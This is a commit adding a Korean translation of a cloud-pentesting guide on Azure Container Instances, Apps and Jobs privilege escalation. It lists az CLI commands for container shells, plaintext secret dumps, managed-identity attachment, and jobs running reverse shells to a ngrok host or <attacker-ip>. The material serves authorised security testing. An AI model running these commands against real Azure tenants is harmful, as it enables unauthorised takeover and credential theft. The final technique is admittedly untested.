Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 22:37:34 +00:00
parent cb166d5f4a
commit ba71cd8db9
@@ -0,0 +1,177 @@
# Az - Azure Container Instances, Apps & Jobs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances, Apps & Jobs
자세한 정보는 다음을 확인하세요:
{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}
## ACI
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
이 권한은 사용자가 **실행 중인 컨테이너**에서 **명령을 실행**할 수 있도록 허용합니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한 상승**에 사용될 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
쉘을 얻는 것은 다음과 같이 간단합니다:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
컨테이너의 **출력을 읽는** 것도 가능합니다:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
로그를 가져오려면:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 권한은 **사용자 관리형 ID**를 컨테이너 그룹에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
사용자 관리형 ID를 컨테이너 그룹에 연결하려면:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 권한은 **사용자 관리 ID**가 연결된 **컨테이너 그룹**을 **생성하거나 업데이트**할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
또한, 기존 컨테이너 그룹을 업데이트하여 예를 들어 **`--command-line` 인수**를 추가하여 리버스 셸을 설정하는 것도 가능합니다.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
이 권한은 사용자가 실행 중인 애플리케이션 컨테이너에서 **셸을 얻을 수** 있게 해줍니다. 이는 컨테이너에 관리되는 ID가 연결되어 있는 경우 **권한을 상승**시키는 데 사용할 수 있습니다. 물론, 컨테이너 내부에 저장된 소스 코드 및 기타 민감한 정보에 접근하는 것도 가능합니다.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
이 권한은 컨테이너 앱 내에 구성된 **비밀의 일반 텍스트**를 가져올 수 있게 해줍니다. 비밀은 일반 텍스트로 구성되거나 키 자격 증명 저장소에 대한 링크로 구성될 수 있습니다(이 경우 앱은 비밀에 대한 액세스 권한이 있는 관리형 ID가 할당됩니다).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
이 권한은 **사용자 관리 ID**를 컨테이너 앱에 연결할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다. az cli에서 이 작업을 실행하려면 `Microsoft.App/containerApps/listSecrets/action` 권한도 필요합니다.
사용자 관리 ID를 컨테이너 그룹에 연결하려면:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
이 권한은 **사용자 관리 ID**가 연결된 **애플리케이션 컨테이너를 생성하거나 업데이트**할 수 있게 해줍니다. 이는 컨테이너에서 권한을 상승시키는 데 매우 유용합니다.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> 이러한 권한으로 **앱의 다른 구성**을 수정할 수 있으며, 이는 기존 앱의 구성에 따라 다른 권한 상승 및 사후 활용 공격을 수행할 수 있게 할 수 있습니다.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
작업은 컨테이너 앱처럼 장기 실행되지 않지만, 실행을 시작할 때 작업의 명령 구성을 재정의할 수 있는 능력을 악용할 수 있습니다. 기본 명령을 리버스 셸로 교체하는 등의 사용자 정의 작업 템플릿을 작성함으로써, 작업을 실행하는 컨테이너 내에서 셸 접근을 얻을 수 있습니다.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
이 권한이 있으면 Job 컨테이너 내의 모든 비밀(첫 번째 권한)을 나열한 다음 구성된 비밀의 값을 읽을 수 있습니다.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
작업의 구성을 수정할 수 있는 권한이 있는 경우, 사용자 할당 관리 ID를 연결할 수 있습니다. 이 ID는 추가 권한(예: 다른 리소스나 비밀에 대한 접근)을 가질 수 있으며, 이를 악용하여 컨테이너 내에서 권한을 상승시킬 수 있습니다.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
새로운 Container Apps Job을 생성(또는 기존의 것을 업데이트)하고 관리되는 ID를 연결할 수 있다면, 권한 상승을 위한 페이로드를 실행하도록 작업을 설계할 수 있습니다. 예를 들어, 리버스 셸을 실행할 뿐만 아니라 관리되는 ID의 자격 증명을 사용하여 토큰을 요청하거나 다른 리소스에 접근하는 새로운 작업을 생성할 수 있습니다.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> 이 명령은 `Microsoft.App/jobs/read` 권한이 없으면 오류를 발생시킵니다. 하지만 작업은 생성됩니다.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
이 권한으로 작업을 시작할 수 있어야 할 것 같습니다. 이를 통해 작업의 구성 변경 없이 리버스 셸 또는 기타 악성 명령으로 작업을 시작할 수 있습니다.
작동하게 만들지는 못했지만 허용된 매개변수에 따르면 가능해야 합니다.
{{#include ../../../banners/hacktricks-training.md}}